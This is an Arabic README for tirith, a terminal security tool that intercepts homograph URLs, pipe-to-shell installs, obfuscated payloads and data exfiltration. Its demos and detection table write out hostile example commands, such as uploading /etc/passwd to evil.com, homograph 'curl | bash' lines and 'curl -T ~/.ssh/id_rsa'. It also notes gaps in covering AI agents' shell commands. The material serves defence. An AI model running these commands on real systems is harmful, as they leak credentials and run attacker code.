
أمان الطرفية للمطورين وعملاء الذكاء الاصطناعي. يعترض عناوين URL المتجانسة (homograph)، والأنابيب إلى الشل (pipe-to-shell)، وحقن ANSI، والحمولات المشوشة، وتسريب البيانات، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة قبل تنفيذها.
# tirith
**متصفحك سيلتقط هذا. طرفيتك لن تفعل.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[الموقع الإلكتروني](https://tirith.sh) | [التوثيق](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [سجل التغييرات](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [الإصدارات](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>مشروع مفتوح المصدر مستقل، مع استضافة مدعومة من برنامج Vercel للمصادر المفتوحة (دفعة ربيع 2026).</sub>
---
هل يمكنك ملاحظة الفرق؟```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
لا يمكنك. ولا حتى طرفيتك. كلا حرفي `і` هما سيريليان (U+0456)، وليسا `i` اللاتيني. عنوان URL الثاني يُحلّ إلى خادم المهاجم. يُنفَّذ السكربت قبل أن تلاحظ.
حلّت المتصفحات هذه المشكلة منذ سنوات. لا تزال الطرفيات تعرض Unicode و ANSI escapes والأحرف غير المرئية دون سؤال. تشغّل وكلاء الذكاء الاصطناعي أوامر shell وتثبّت الحزم دون فحص ما بداخلها.
**يقف Tirith عند البوابة.** يعترض الأوامر والمحتوى الملصق والملفات الممسوحة بحثًا عن عناوين URL المتشابهة، والحمولات المُموّهة، وتسريب بيانات الاعتماد، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة، والحزم/النطاقات/عناوين IP المعروفة بالضرر من قاعدة بيانات استخبارات تهديدات موقّعة قبل تنفيذها.```bash
brew install tirith
```
ثم فعّلها في ملف تعريف الصدفة الخاص بك:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` يكتشف تلقائيًا الصدفة الحالية لديك (يفحص العملية الأصلية ويرجع إلى `$SHELL` إذا لزم الأمر). لا تكون راية `--shell` الصريحة مطلوبة إلا عندما تريد تجاوز الكشف.
هذا كل ما يتعلق بتغطية الصدفة التفاعلية. يتم فحص الأوامر المقبولة من تلك الصدفة أثناء تحميل الخطاف وسلامته؛ يعتمد سلوك الحظر الدقيق على الصدفة والوضع. شغّل `tirith doctor` بعد التثبيت والترقيات، واقرأ [enforcement by shell](#enforcement-by-shell) قبل التعامل مع الخطاف كحدود للتفويض. تبقى الأوامر النظيفة صامتة وتسلك عادةً المسار السريع.
متاح أيضًا عبر [npm](#cross-platform)، و[cargo](#cross-platform)، و[mise](#cross-platform)، و[apt/dnf](#linux-packages)، و[المزيد](#install).
---
## شاهدها أثناء العمل
**هجوم التماثل الرسومي، محظور قبل التنفيذ:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
الأمر لا يُنفَّذ أبدًا.
**التمرير إلى shell عبر رابط نظيف، مع تحذير، دون حظر:**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
تحذير يُطبع إلى stderr. الأمر لا يزال يعمل.
**سلسلة فك ترميز Base64 والتنفيذ، محظورة:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
يكتشف سلاسل فك التشفير عبر أغلفة sudo/env و PowerShell `-EncodedCommand` أيضًا.
**تسريب بيانات الاعتماد، محظور:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
يغطي جميع علامات الرفع الخاصة بـ curl/wget، ومتغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، واستبدال الأوامر.
**ملف مهارة خبيث، تم اكتشافه عند الفحص:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
يفحص ملفات JS/Python بحثًا عن الحمولات المُبهمة، وتنفيذ التعليمات البرمجية الديناميكي، وأنماط تسريب الأسرار.
**أوامر عادية، غير مرئية:**```
$ git status
$ ls -la
$ docker compose up -d
```
لا شيء. صفر مخرجات. أنت تنسى أن tirith يعمل.
---
## ما الذي يكتشفه
**244 قاعدة كشف عبر 35 فئة.**
| الفئة | ما الذي توقفه |
|----------|--------------|
| **هجمات التشابه الرسومي (Homograph)** | أحرف سيريلية/يونانية متشابهة في أسماء المضيفين، نطاقات punycode، تسميات مختلطة النصوص، نطاقات TLD متشابهة، نطاقات مربكة، كشف التشابه على مستوى النص (أحرف أبجدية رقمية رياضية، كلمة واحدة بنصوص مختلطة) |
| **حقن الطرفية** | تسلسلات الهروب ANSI، تجاوزات bidi، أحرف صفرية العرض، وسوم يونيكود، معاملات رياضية غير مرئية، محددات التنويع، حشوات الهانغول |
| **الدفاع ضد الإخفاء (Steganography)** | ترميز المسافات غير المرئية (12 نوعاً من مسافات يونيكود)، فاصل حروف العلة المنغولي، أحرف حشو الهانغول، استبدال أبجدي رقمي رياضي، دفاعات ضد الإخفاء النصي بأسلوب st3gg |
| **الأنبوب إلى الصدفة (Pipe-to-shell)** | `curl \| bash`، `wget \| sh`، `httpie \| sh`، `xh \| sh`، `python <(curl ...)`، `eval $(wget ...)`، بالإضافة إلى العديد من مسارات الأغلفة وفك الترميز والتحويل غير المباشر |
| **فك ترميز Base64 والتنفيذ** | `base64 -d \| bash`، `python -c "exec(b64decode(...))"`، `powershell -EncodedCommand`، سلاسل فك الترميز عبر أغلفة sudo/env |
| **تسريب البيانات** | `curl -d @/etc/passwd`، `curl -T ~/.ssh/id_rsa`، `wget --post-file`، رفع متغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، تسريب عبر استبدال الأوامر |
| **فحص ملفات الكود** | الحمولات المُبهمة (`eval(atob(...))`)، تنفيذ الكود الديناميكي (`exec(b64decode(...))`)، تسريب الأسرار عبر `fetch`/`requests.post` في ملفات JS/Python |
| **كشف بيانات الاعتماد** | مفاتيح AWS، رموز GitHub PAT، رموز Stripe/Slack/SendGrid/Anthropic/GCP/npm، كتل المفاتيح الخاصة، بالإضافة إلى كشف الأسرار العامة القائم على الإنتروبيا |
| **سلوك ما بعد الاختراق** | استخراج ذاكرة العمليات (`/proc/*/mem`)، تصعيد الصلاحيات عن بُعد في Docker، مسح ملفات بيانات الاعتماد، معايرة ضد أدوات ما بعد الاختراق TeamPCP و UNC1069 |
| **أمان الأوامر** | الكتابة فوق ملفات dotfile، استخراج الأرشيف إلى مسارات حساسة، الوصول إلى نقطة نهاية البيانات الوصفية السحابية، الوصول إلى الشبكة الخاصة |
| **النقل غير الآمن** | HTTP عادي موصول إلى الصدفة، `curl -k`، تعطيل التحقق من TLS، روابط مختصرة تخفي الوجهات |
| **البيئة** | اختطاف الوكيل (Proxy)، تصدير متغيرات بيئة حساسة، حقن الكود عبر البيئة، اختطاف المفسر، حقن الصدفة عبر البيئة |
| **أمان ملفات التكوين** | حقن التكوين، مؤشرات مشبوهة، يونيكود غير ASCII/غير مرئي في التكوينات، أمان خادم MCP (غير آمن/غير موثوق/مكرر/متساهل) |
| **تهديدات المنظومة** | typosquats في git clone، سجلات Docker غير الموثوقة، تثبيتات pip/npm عبر URL، نقاط نهاية web3 RPC، vet-not-configured |
| **أمان أوامر التثبيت** | مستودعات APT المضافة من تنزيل موصول، `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (فحوصات التوقيع المعطلة)، `kubectl apply -f` ضد بيانات وصفية عن بُعد خام/مختصرة، مخططات Helm من مستودعات غير موثوقة، وحدات Terraform من مصادر عن بُعد غير موثوقة، `brew install`/`tap` من عناوين URL عشوائية |
| **تحليل المسارات** | مسارات غير ASCII، أحرف متشابهة في المسارات، ترميز مزدوج |
| **المحتوى المعروض** | محتوى CSS/الألوان المخفي، سمات HTML المخفية، تحليل محتوى التعليقات (حقن الأوامر عند High، أوامر مدمرة عند Medium) |
| **كشف التمويه (Cloaking)** | التمويه من جانب الخادم (بوت مقابل متصفح)، محتوى الحافظة المخفي، النص المخفي في PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`، استثناءات Windows Defender (`Add-MpPreference -Exclusion*`)، تنزيل وتنفيذ مضمّن `iex (iwr ...)` |
| **الدفاع ضد مخرجات الطرفية** | كتابات الحافظة OSC 52، المطالبات المزيفة، التلاعب بالارتباط التشعبي OSC 8 والعنوان/مسح الشاشة، حقن الأوامر داخل مخرجات الأوامر أو أدوات MCP (يُفحص خاماً ومفكوك التمويه، لذا يتم اكتشاف تجاوزات الأحرف غير المرئية والمتشابهة والمتباعدة و leetspeak و base64 / hex القصيرة أيضاً)، وتسريب بيانات المخرجات (عناوين URL للإشارة أو توجيهات "اقرأ سراً ثم أرسله") |
| **السياق التشغيلي** | أوامر مدمرة ضد سياقات السحابة / k8s المُوسومة بالإنتاج ومضيفي SSH، `apply` في Terraform / Pulumi / OpenTofu بدون خطة محفوظة مطابقة، تصعيد sudo محفوف بالمخاطر، `docker run` بصلاحيات مميزة |
| **محطة العمل والاستمرارية** | ملفات بيانات الاعتماد بأذونات متساهلة والرموز النصية الصريحة (`~/.ssh`، `~/.aws`، `.npmrc`)، مواطئ الاستمرارية (shell rc، `authorized_keys`، crontab، LaunchAgents، git `core.hooksPath`)، ترتيب اختطاف PATH، مصدر الملفات التنفيذية، الأسماء المستعارة المحفوفة بالمخاطر، ودورة حياة متغيرات البيئة الحساسة |
| **نطاق التأثير والارتباط** | عمليات الحذف التي تتجاوز المستودع، عمليات الحذف الجماعي، تنفيذ ملفات تم تنزيلها من مصادر محفوفة بالمخاطر، وسلاسل الجلسات مثل كتابة سر ثم شبكة أو حذف ثم `git push --force` |
| **الثقة والتوثيق والمصدر** | عدم تطابق بطاقة الأوامر الموقعة، لمسات canary honeytoken، عدم تطابق مضيف مصدر اللصق، رفض سياسة أصل المستدعي (الوكيل)، انحراف قفل MCP، وانحراف تكوين الذكاء الاصطناعي مقابل لقطة معروفة آمنة |
| **حارس أوامر Web3** | الكتابات على السلسلة من أوامر Cast / Forge / Hardhat / Solana / Anchor (High عندما يعطل نفس الأمر أيضاً ضابط أمان معلن)، مواد المفتاح الخاص الخام أو زوج المفاتيح أو العبارة التذكارية على سطر الأوامر، ونقطة نهاية RPC أو موقّع لا تثق به سياسة `web3_guard` الخاصة بالمشغل. القواعد والسياسة فقط: لا تُقرأ حالة السلسلة، ولا تُحاكى معاملة، ولا يُقيَّم أي عنوان |
| **تسريب المحفظة** | مواد المحفظة المراجعة، ومخزن المفاتيح، ومحفظة المتصفح، وزوج مفاتيح Solana المتدفقة إلى مصرف بعيد مُثبت، بما في ذلك مراحل التجهيز عبر الأرشيف و base64 و hex والضاغط والمشفّر وترقية معاملات `xargs` / `find -exec`. القراءة من المصدر فقط ليست اكتشافاً عن قصد |
| **تسميم مخرجات CI** | سير عمل يمكن الوصول إليه من fork يقوم برفع مخرج بناء، يستهلكه سير عمل `workflow_run` بصلاحيات مميزة مرتبط بالتشغيل المُشغِّل الذي ينفذه أو يستورده أو يعدل PATH له أو ينشره أو ينشره |
---
## ما لا يحمي منه tirith
يحلل Tirith **بنية** الأوامر والنص الملصق والملفات قبل
تنفيذها. إنه بوابة ما قبل التنفيذ، وليس دفاعاً وقت التشغيل، ولا يغطي:
- **العزل العام وقت التشغيل:** خطافات الصدفة العادية و `tirith check` تحذر
أو تحظر؛ لكنها لا تعزل الأمر بعد الإطلاق. مسارات
`capsule run --preset untrusted-project` الصريحة وفرض `pkg install`
توفر احتواءً مغلقاً عند الفشل فقط على مضيفي Linux x86_64 المدعومين.
- **مراقبة الشبكة بعد التنفيذ:** ما تفعله العملية على الشبكة بعد
الإطلاق خارج النطاق.
- **كشف البرمجيات الخبيثة / الحمولات العامة:** tirith ليس مضاد فيروسات ولا
يفجّر حمولة. يحلل البنية ويمكنه مطابقة مؤشرات دقيقة
وتجزئات القطع الأثرية/الملفات من قاعدة التهديدات الموقعة، لكن حمولة
غير معروفة لا تُثبت أنها حميدة بغياب التطابق. (`tirith run` يفحص
بنية سكريبت تم تنزيله؛ لكنه لا يزال ليس تحليلاً ديناميكياً للبرمجيات الخبيثة.)
- **مهاجم بصلاحيات root/admin مميزة:** أي شخص هو بالفعل root أو admin يمكنه تجاوز
tirith بسهولة. إنه يدافع ضد المدخلات المخادعة، وليس ضد مهاجم يملك
الجهاز بالفعل.
- **مكافحة التنقيح / مكافحة التلاعب:** tirith لا يقاوم الهندسة العكسية
ولا يحمي ملفه التنفيذي من مهاجم محلي.
- **التحليل على السلسلة:** حارس Web3 يقرأ قواعد الأوامر. لا يقرأ
حالة السلسلة، ولا يحاكي معاملة، ولا يحل ENS، ولا يقيّم عنواناً، ولا يدقق في
عقد، ولا يراقب mempool.
- **جدار حماية لقطع npm الأثرية:** tirith يحلل قواعد أوامر npm وحقائق
هوية السجل، ويمكنه سؤال npm الخاص بالمشروع عن توقيعه
وحالة مصدره. لا يقوم بتنزيل أو استخراج أو حجر أو ربط
بايتات tarball التي يثبتها npm. جدار الحماية المحتوى والمثبت بالتجزئة
للقطع الأثرية هو Python فقط.
- **التحقيق الجنائي أو المراقبة في المتصفح:** `tirith browser audit` هو تدقيق
صريح، لمرة واحدة، للقراءة فقط لسلامة أشجار مصدر الإضافات. لا يقرأ
أبداً ملفات تعريف الارتباط أو السجل أو كلمات المرور المحفوظة أو التخزين أو قواعد بيانات المحفظة أو `Local
State`، ولا يزيل أو يحجر أي شيء أبداً، وليس لديه خادم خفي.
- **البنيات القابلة للتكرار:** إيصال `attest` يسجل ما احتوته شجرتان
في لحظة واحدة. Tirith لا يشغل بنيتك ولا يمكنه القول إن المخرج جاء
من المصدر. إيصال النشر هو قياس لحظي، وليس مراقبة مستمرة.
راجع [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) لنموذج التهديد الكامل و
الأهداف غير المعلنة صراحةً، و
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) لسجل
قدرة بقدرة لما يكتشفه tirith ويقرره ويفرضه ويحتويه ويوثقه.
---
## القيود المعروفة
- **هشاشة خطاف الصدفة:** تعتمد الحماية على بقاء خطاف الصدفة مثبتاً
ونشطاً. يمكن أن تتعطل الخطافات أو تتدهور بصمت عبر الصدفات وإصدارات الصدفة
وأطر المطالبات وأدوات السجل. شغّل `tirith doctor` للتحقق من الحالة الحية
وراقب التدهور إلى التحذير فقط.
- **تخزين مؤقت ممتلئ أو للقراءة فقط:** يلتقط zsh و fish المدخلات عبر
ملف مؤقت قبل استدعاء Tirith ويفشلان مغلقين عندما لا يمكن
إنشاء ذلك الملف. لذلك يمكن أن يرفض `TMPDIR` ممتلئ/للقراءة فقط كل أمر، و
لا يمكن لـ `TIRITH=0` التعافي لأن الملف التنفيذي لا يُوصل إليه أبداً. اتبع
خطوات التعافي في [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **ميزات محدودة بالمنصة:** وضع الخادم الخفي، و `tirith run`، و `tirith fetch`
هي أسطح Unix. يبقى `tirith run --no-exec` سير عمل فحص
هناك، لكن تنفيذ السكريبت البعيد الحي هو Linux فقط ويرفض قبل
التنزيل على كل مضيف آخر. `tirith setup` متعدد المنصات، بينما كل
تكامل مضيف له عقد منصته الخاص (على سبيل المثال Cline لديه أغلفة POSIX
و Windows؛ خطاف الحظر في OpenHands هو Unix فقط).
- **نطاق استخراج أسماء الحزم:** يغطي منظومات اللغات (pip،
npm/yarn/pnpm/bun، cargo، gem، go، composer، dotnet، mvn/gradle)، وليس مديري
حزم التوزيعات (`apt`، `dnf`، `yum`، `pacman`).
- **تحذيرات وكيل الذكاء الاصطناعي:** اعتراض خطاف الصدفة يحمي فقط الأوامر التي تمر
عبر صدفة تفاعلية موصولة بخطاف. الوكيل الذي ينشئ
صدفة غير تفاعلية، أو يستدعي `exec` مباشرة، أو يعمل بدون تحميل الخطاف غير مغطى
بتلك الطبقة. تسجيل MCP تعاوني ما لم تُوجَّه الاستدعاءات
عبر البوابة. يمكن لخطاف ما قبل الأداة المدعوم أن يحجب تلقائياً
أمر مضيف، لكن فقط عندما يحمّله ذلك المضيف ويحترمه؛ عدة مضيفين
يفشلون مفتوحين عندما يخطئ عملية الخطاف. تحقق من المضيف الفعلي، وليس فقط من
وجود ملف تكوين.
- **سلوك فشل خطاف المضيف:** يسمح Grok Build و Cline و OpenHands
بالأداة عندما تتعطل عملية الخطاف أو تنتهي مهلتها. محول Tirith يرفض عند
أخطائه الخاصة افتراضياً، لكنه لا يمكنه جعل مضيف يحترم عملية لم
تُرجع نتيجة. أعد تشغيل الإعداد إذا انتقل مفسر مثبت واختبر المضيف الحقيقي
بعد كل ترقية.
- **Prime Agent IPython هو استخراج على مستوى المصدر:** يغطي الحارس هروب
الصدفة/السحر وأشكال `os` و `subprocess` و `pty.spawn` الشائعة، لكنه
ليس صندوق رمل لبيئة تشغيل Python. غلاف مُعرَّف في خلية سابقة،
أو انعكاس مثل `getattr`/`__import__`، أو حزمة طرف ثالث
تنشئ عملية يمكنها الهروب مما يمكن لمحلل المصدر إثباته.
- **DLP المخصص ومخرجات الآلة:** يمكن أن تعيد `dlp_custom_patterns` الواسعة حالياً
كتابة قيم نصية مملوكة للبروتوكول في إسقاطات JSON/MCP المحجوبة بشكل متكرر،
بما في ذلك المعرفات المولدة أو بيانات الإيصال الوصفية. تجنب
الأنماط التي يمكن أن تطابق القيم البنيوية عند استهلاك مخرجات موقعة أو
مستقرة للآلة؛ يحتاج هذا إلى حجب واعٍ بالحقول قبل الإصدار.
- **موافقة التثبيت غير المراقب:** يُقبل `tirith install --yes` كقناة
`require_approval` غير المراقبة لبوابة مهمة مدير الحزم. إنه
علم مشغل صريح، وليس دليلاً على تأكيد بشري عبر TTY. استخدم سياسة مهمة
حاجبة حيث يجب أن يكون التنفيذ غير المراقب مستحيلاً.
- **ربط MCP المفسَّر:** ربط الخادم المفسَّر الدقيق يجزئ
شجرة المستودع تحت حدود ثابتة بدلاً من اكتشاف إغلاق تبعية حقيقي، لذا
الأشجار الكبيرة أو الروابط الرمزية أو الملفات الخاصة يمكن أن ترفض الإطلاق. إنه
يعيد التحقق قبل التشغيل لكنه لا ينفذ مدخلات المفسر من واصفات
مراجعة مختومة؛ التعديل المتزامن من نفس المستخدم يبقى فجوة تحقق-إلى-تحميل.
- **تغطية بوابة المهام:** استنتاج تأثير المهمة ينمذج قواعد صدفة Web3
ولا شيء آخر، لذا يُبلَّغ عن كل أمر SHELL عادي تقريباً
كـ INCOMPLETE. `task_gate.mode: enforce` مع `action_incomplete_analysis: block`
يرفض تلك عند الحدود الخمسة التي ترسل
غلاف صدفة، ولا يغير شيئاً عند حدود الحزم وكتابة التكوين الأربعة،
التي تُقيَّم دائماً كمكتملة. `warn` هو الافتراضي. البديل،
`effects_denied_for_untrusted_sources`، ينكر التأثير المسمى عند كل استدعاء
عند كل حد مملوك، بما في ذلك الأوامر التي كتبتها بنفسك، لأنه لا
يُعامل أي مصدر عند تلك الحدود كموثوق أبداً.
- **الاحتواء هو Linux x86_64:** `tirith capsule run --preset
untrusted-project` وفرض `tirith pkg install` قابلان للفرض فقط على
Linux x86_64 مع ABI Landlock قابل للاستخدام. كل مضيف آخر يرفض قبل
نسخ أو إنشاء أي شيء، بدون تراجع متدهور. القائمة المسموح بها للنطاقات
غير مقدمة من أي خلفية.
- **فجوة تسريب الصدفة المتداخلة:** قراءة حساسة داخل جسم صدفة متداخل
مصرفه خارجها، مثل `bash -c "cat <wallet>" | curl -d @- <url>`،
غير مترابطة اليوم. نفس السلسلة بالكامل داخل أو بالكامل خارج
جسم `-c` يتم اكتشافها.
- **درجات دليل التنفيذ:** يُؤكَّد إطلاق Linux فقط بعد اكتمال
انتقال `exec` الموقوف، وتحديث الحالة الدائمة، والاستئناف المصرح به،
وإثبات المشغل الطرفي. يُؤكَّد استدعاء البوابة فقط بنتيجة
مترابطة دقيقة. تبقى ملاحظات الصدفة واستدعاءات البوابة المُمرَّرة التي
تنتهي مهلتها أو تُلغى دليلاً غير محلول محافظاً، وليست تنفيذاً
مؤكداً أبداً. إيصالات الصدفة الصارمة متاحة لـ bash و zsh و fish التفاعلية؛
يبقى PowerShell للفحص المسبق فقط. يجب التحقق من سلوك مشغل Linux الأصلي
بواسطة CI على Linux أو مضيف Linux أصلي؛ لا تغطية المصدر/الوحدة المحمولة
ولا بناء macOS يمكن أن يحل محله.
- **فجوات تغطية Web3:** `forge create` لم يُنمذج بعد على أسطح المحرك؛
عدة حقول `web3_guard` معلنة يتم تحليلها لكن لا يتم فرضها؛ و
ارتباطات بطاقة الأوامر Web3 بمخطط 2 ليس لديها بعد مسار تأليف CLI أو
استهلاك حي للمحرك. تعامل مع هذه كفجوات معروفة، وليس تفويضاً صامتاً.
---
## استخبارات التهديدات
يشحن Tirith قاعدة بيانات تهديدات محلية موقعة لسمعة الحزم وأسماء المضيفين وعناوين IP. عندما يرى خطاف صدفة أو `tirith check` تثبيت حزمة أو إشارة بنية تحتية مشبوهة، فإنه يطابق ذلك المدخل مقابل قاعدة البيانات قبل تنفيذ الأمر، بدلاً من الاعتماد فقط على الاستدلالات الثابتة.
**قاعدة بيانات موقعة** (مبنية بواسطة CI، يتم التحقق منها عند التنزيل والتحميل):
- حزم خبيثة معروفة من [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) و [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- بنية تحتية لعناوين IP خبيثة من [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- typosquats مؤكدة وخطوط أساس للحزم الشائعة من [ecosyste.ms](https://ecosyste.ms/)
- كتالوج [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) لربط الاستشارات وقت التشغيل
يضيف ThreatDB v2 قيم SHA-256 الدقيقة للقطع الأثرية، وتجزئات الملفات المثبتة،
وعناوين URL الخبيثة، وعضوية الحملات، ووسوم السلوك. الفهرس الموقع،
والمحدّث، والمترجم، والمحمّل يدعمون v1 و v2 خلال الانتقال المرحلي،
ويرفضون تراجع التسلسل، وينشرون بشكل معاملاتي، ويحتفظون بقاعدة بيانات
آخر-معروف-جيد موقعة عندما يكون التحديث غير مكتمل أو غير صالح. مصدر
DigitalSide مُنفَّذ لكنه غير نشط عن قصد حتى تتم الموافقة على
حداثته وعقد تشغيله.
**تغذيات تكميلية اختيارية** (طبقة محلية للمستخدم):
- [URLhaus](https://urlhaus.abuse.ch/) و [ThreatFox](https://threatfox.abuse.ch/) عبر مفتاح مصادقة abuse.ch
- قوائم حظر [PhishTank](https://phishtank.org/) (Cisco Talos) و [Phishing Army](https://phishing.army/)
- قائمة عقد خروج Tor من [Tor Project](https://www.torproject.org/)
**إثراء حي اختياري** خلال `tirith check` ووضع الخادم الخفي:
- عمليات بحث استشارية [OSV.dev](https://osv.dev/) (Google OSS)
- إشارات صحة الحزم [deps.dev](https://deps.dev/) (Google OSS) وبيانات المشرفين [ecosyste.ms](https://ecosyste.ms/)
- سمعة عناوين URL من [Google Safe Browsing](https://safebrowsing.google.com/) بمفتاح API الخاص بك```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
افتراضيًا، تُشغّل خطافات shell و`tirith check` فحص تحديث خلفي منخفض التكلفة كل 24 ساعة. يُبقي وضع الخدمة الخلفية (daemon) مسار الإثراء نفسه جاهزًا في الخلفية.
يقبل `threat-db explain` نطاقًا، أو اسم حزمة (`name`، أو `ecosystem:name`، أو `name@version`)، أو عنوان IPv4. لا يحتفظ الملف التنفيذي بأي سجل لكل إدخال، لذا يُبلّغ `threat-db diff` عن فروقات الفئة وعدد المصادر لكل مصدر بين اللقطات، وليس الإدخالات المتغيّرة بدقة. يأخذ كل أمر من أوامر `threat-db` الخيار `--format json`؛ و`threatdb` اسم مستعار.
### تقييم مخاطر الحزم
يقيّم `tirith package risk <ecosystem> <name>` مخاطر سلسلة التوريد / المشرفين لحزمة ما بالطريقة التي يقيّم بها `tirith score` عنوان URL، وهو **مجموع حتمي وقابل للتفسير بالكامل من عوامل مُسمّاة**، دون نموذج ودون أوزان مُتعلَّمة. يضيف `tirith package explain <ecosystem> <name>` الاشتقاق عاملًا بعامل؛ وكلاهما يأخذ `--format json`.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
```
---
[Read more](https://github.com/sheeki03/tirith)